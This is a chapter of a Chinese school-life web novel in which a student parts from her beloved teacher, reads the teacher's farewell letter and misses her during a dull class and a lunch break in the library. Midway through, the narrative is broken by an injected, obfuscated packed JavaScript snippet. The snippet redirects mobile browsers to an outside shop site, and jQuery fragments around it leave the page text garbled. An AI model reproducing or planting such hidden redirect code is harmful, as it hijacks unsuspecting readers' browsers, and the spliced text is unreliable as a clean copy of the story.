林知意抱得很紧，苏念的脸贴在她的白衬衫上。衣服上有透明皂和旧书页混在一起的味道。衬衫布料洗得有些发硬，并不柔软。
“苏念。”林知意贴着她耳朵说，“谢谢你。”
苏念没动，双手垂在身侧，手指蜷着。
“这是我收到的最好的礼物。”林知意的掌心贴在苏念后背，轻轻拍了两下，“我会用它种一盆多肉，每天都看。”
苏念喉咙发紧，咽不下口水。眼前蒙上一层水汽，书架的轮廓都花了。她咬住下/唇，牙齿陷进软肉，尝到了腥味。
还是没忍住。
眼泪砸在林知意肩上，湿了一小块，颜色深了些。苏念抬起手，一把抓住她后背的衬衫，指甲抠进手心，将平整的布料攥出死褶。
她回抱住林知意。
两人就站在窗边的长桌旁。风吹进来，翻开桌上没合拢的旧书，纸页哗啦作响。苏念把头埋得更深，不出声，只用鼻子吸气，肩膀一抽一抽的。林知意也没说话，只是收紧手臂，下巴抵着苏念的头顶。
拥抱很短，但苏念记住了衣服的温度，和隔着布料传来的心跳。
林知意松开手，退后半步，从帆布包外侧口袋里拿出一包纸巾。她撕开封口，抽出一张，叠了两下。
她伸手，用纸巾轻轻擦掉苏念脸上的泪，动作很轻，避开了眼睛。
“别哭了。”林知意把用过的纸巾在手里捏成一团。
苏念点头，用手背抹了下眼，沾上的泪被风一吹，凉飕飕的。
林知意转身，从帆布包里拿出个牛皮纸信封。是邮局卖的那种，边上一圈红蓝条纹。封口粘得很死，表面干干净净，没写字。
她把信封递过来。“这是给你的。”林知意看着苏念的眼睛说，“回家再看。”
苏念接过来，信封很轻，里面是薄薄的几张纸。纸面粗糙，磨着指腹。她不想当着大爷的面拆，这信是给她的，要自己一个人看。
“好好学习。”林知意交代，“多看书，多存钱。想买什么就买，别饿着，别委屈自己。”
苏念攥着信封，边缘硌着手心。
“我们拉钩。”林知意伸出右手小拇指，“以后写信联系，地址在里面。”
苏念看着那根手指，指甲剪得整整齐齐，没涂指甲油。她也伸出小拇指，勾住林知意的。两个大拇指贴在一起，用力按了按。
盖了个章。
林知意收回手，提起帆布包挎上右肩，又用左手抱起那个报纸包着的花盆。花盆有些沉，她调整了下姿势，稳稳托在胸/前。
“老师走了。”林知意浅浅一笑。
她转身往外走，苏念站在原地没动。林知意走出图书馆，下了台阶，往校门口走去。苏念隔着窗玻璃看着她的背影：白衬衫，长裙，黑帆布包带，还有怀里的报纸包。
走到香樟树下，林知意也没有回头。
直到那身影拐过教学楼墙角，消失在红砖墙后。苏念才低下头，把牛皮纸信封塞进校服口袋，拉上拉链。
昨晚，城中村的出租屋。
黄/色的灯泡亮着，姜翠花在水槽边洗碗，盘子磕碰得叮当响。
苏念坐在桌前，桌上放着那个牛皮纸信封。她用指甲挑开封口，胶水粘得死，撕开时带下了一条纸屑。
里面是一张带横格的信纸。
苏念：
见字如面。
花盆我很喜欢，已经把多肉放在宿舍窗台上了。
你是个勇敢的女孩。以后遇到什么事，就当是解一道数学难题，多画几条辅助线，总能找到出路。
存钱罐里的钱，先去买瓶水，别再干咽馒头了。
地址：省师范大学中文系3栋402室。邮编：518000。
等你的信。
苏念把信纸折好，左右各折一个角，再对折压平，夹进了《几何证明原本》的最后一页。
周二早上，早自习铃声响了。
初二3班教室里闹哄哄的。张逸飞在过道拍篮球，球砸在水磨石地上砰砰作响。陈小满削着铅笔，转笔刀刺啦刺啦地响，铅笔屑掉了一地。后排的李思思在照镜子，一边梳刘海一边问刘燕发卡歪了没。
苏念坐在最后一排，桌上放着语文课本。
上课铃响了，走廊里传来高跟鞋踩地的声音，又重又急。
张老师走进教室，她穿着黑西装、白衬衫，扣子扣到最上面一颗，手里拿着厚教案和一把黄/色的木三角板。
“起立。”周雨晴喊。
“老师好！”全班站起来，声音拖得长长的。
“坐下。”张老师把教案扔在讲桌上，“啪”的一声，震起一阵粉笔灰。
教室里顿时安静下来。张逸飞把篮球塞进桌肚，用脚踩住。陈小满盖好铅笔盒，推到桌角。
张老师拿起半截粉笔，在黑板上写下“期末试卷讲评”几个大字，粉笔划过黑板，声音尖利。写完，她把粉笔头扔进粉笔盒，拍了拍手上的灰。
“这次期末考，我们班语文平均分全年级第三。”张老师转过身，板着脸说，“很差。基础题扣分太多，古诗文默写都能错，送分题都成了送命题。”
她拿起试卷抖了抖，“翻开第一页，看第一题。”
苏念翻开试卷，她的卷子是满分，上面全是红勾。
“这道字音字形题，讲过多少遍了？”张老师用教鞭敲着黑板，当当响，“‘锲而不舍’的‘锲’，金字旁，不是提手旁。王强，你站起来，说说你写的是什么？”
王强站起来，低着头不说话，手在校服裤子上乱蹭。
“你写了个提手旁加个‘契’。”张老师把卷子拍在桌上，“怎么，你要提着石头去砸人？”
班里没人敢笑，张逸飞捂着嘴，肩膀抖了两下。
“坐下。这个字抄十遍，放学交给我。”张老师翻了一页试卷，“看阅读理解。”
她的语调平铺直叙，没有一点起伏。没有徐志摩，没有《沙扬娜拉》，没有课外内容。黑板上只有考点、得分率和易错字。张老师把阅读文章拆成几段，每一段都套一个答题公式。
“看到‘作用’这两个字，就套这三条公式。”张老师在黑板上写下1、2、3。
苏念看着讲台，张老师站在那儿，挡了半边黑板。以前林知意站在这里，会把试卷放一边，讲文章的背景，讲里面的闲笔，讲城中村的烟火气。
陈小满撕了张草稿纸写了几个字推过来：好没劲，想睡觉。字迹很潦草。
苏念拿笔在下面回了一个字：嗯。然后推了回去。
陈小满没再传纸条，趴在桌上转笔，笔掉了就捡起来继续转。
第一排的周雨晴背挺得笔直，拿着红笔在试卷上做笔记，把张老师说的答题公式一条条工工整整地记下来。
苏念转头望向窗外，操场空荡荡的，跑道上一个人也没有。她盼着下课。张老师讲的这些她都会，她只想去图书馆，坐回那个位置。
四十五分钟过得很慢。下课铃响了，张老师也没停，拖了两分钟堂，讲完最后一道阅读理解题才走。
她拿着教案一走，教室里立刻闹开了。张逸飞把篮球踢出来，几个人围上去抢。李思思又拿出镜子照。
赵小朵走到苏念桌前，手里拿着个绿色小喷壶。“苏念。”他把喷壶放在桌上，“这个给你。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865167|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“什么？”苏念问。
“喷多肉的。”赵小朵说，“林老师走了，你不是帮她养着那盆多肉吗，我教你怎么浇水。一天喷两下就行，喷多了会烂根。”
“她带走了。”苏念说。
赵小朵愣住了，手悬在半空，又把喷壶收了回去。“哦，好。”他低着头走回座位，走到一半又折回来，“那你……有别的要浇水的吗？”
“没有。”苏念说。
赵小朵拿着喷壶走了。
苏念把试卷沿折痕叠好，压平，夹进语文书里。
午休铃响，走廊里全是跑下楼的脚步声。食堂窗口前挤满了人，排着长队。
苏念没去食堂，她书包里有半个冷馒头。昨晚姜翠花没买肉，只炒了一盘白菜。
她走出教学楼，往旧图书馆走去。太阳很大，空气里有股跑道上的橡胶味。
图书馆的门半开着，苏念走了进去。
传达室大爷坐在藤椅上，手里拿着收音机，正播着单田芳的评书《白眉大侠》。桌上放着个搪瓷缸子，掉了一块瓷，露出黑铁底。缸里泡着高碎，茶水颜色很深。
“大爷。”苏念打了声招呼。
大爷关了收音机，评书声停了。他抬起头，架在鼻梁上的老花镜反着光。
“来了。”大爷朝里指了指，“自己找地方坐。”
苏念往里走，走到窗边那排长桌前。老位置空着。
桌面上干干净净，没有帆布包，没有改了一半的作文本，没有红笔，也没有那个装满热水的保温杯。角落里只堆着几本落了灰的旧杂志。
苏念拉开椅子坐下，椅腿在地上划出刺耳的响声。
她把书包放在旁边的空椅子上，那是以前林知意坐的地方。
苏念从书包里拿出冷馒头，塑料袋搓得发皱。她解开死结，撕下一块塞进嘴里。馒头放了一上午，皮都硬了，咬一口直掉渣。她嚼得很慢，咽下去的时候刮得嗓子疼。
她没带水，喉咙干得发疼。
图书馆里很静，只有大爷喝茶的吸溜声和翻报纸的沙沙声。
苏念盯着桌面上的木纹，裂缝里填着黑色的脏东西。她用指甲刮了刮，没刮干净。她想把这里擦干净，恢复成林知意在时的样子。
她想起昨天林知意就是坐在这儿，用透明胶带包书皮。胶带粘在手上撕不下来，林知意甩甩手，把胶带扯断了。
馒头吃了一半，苏念就吃不下了。她把剩下的装回塑料袋，打上死结，塞进书包最里层。
她拿出数学错题本翻开，上面有林知意用红笔写的批注，字迹清秀。
“辅助线画这里更清楚。”红笔字旁边，还画了个小箭头。
苏念盯着那行字，墨水早就干透了。
大爷端着搪瓷缸子走过来，拉开苏念对面的椅子坐下，把缸子往桌上一放，磕出“咚”的一声。
“没吃饭？”大爷问。
“吃过了。”苏念说。
大爷看了一眼她的书包，又瞥了眼旁边的空椅子。“小林老师走了，不习惯吧？”
苏念没说话，把错题本往自己跟前拉了拉。
“她昨天走的时候，眼圈都红了。”大爷喝了口茶，又把茶叶末吐回缸子里，“你们这些学生里，她最上心你。走前还帮我把外头的报纸都理了一遍。”
苏念合上了错题本。
大爷站起身，从中山装口袋里摸出一个小纸盒，外面用报纸包着，拿细棉线扎了个十字。
“差点忘了。”大爷把纸盒推到苏念面前。
苏念看着那个报纸包。
大爷指了指桌上的纸盒：“小林老师给你留的东西。”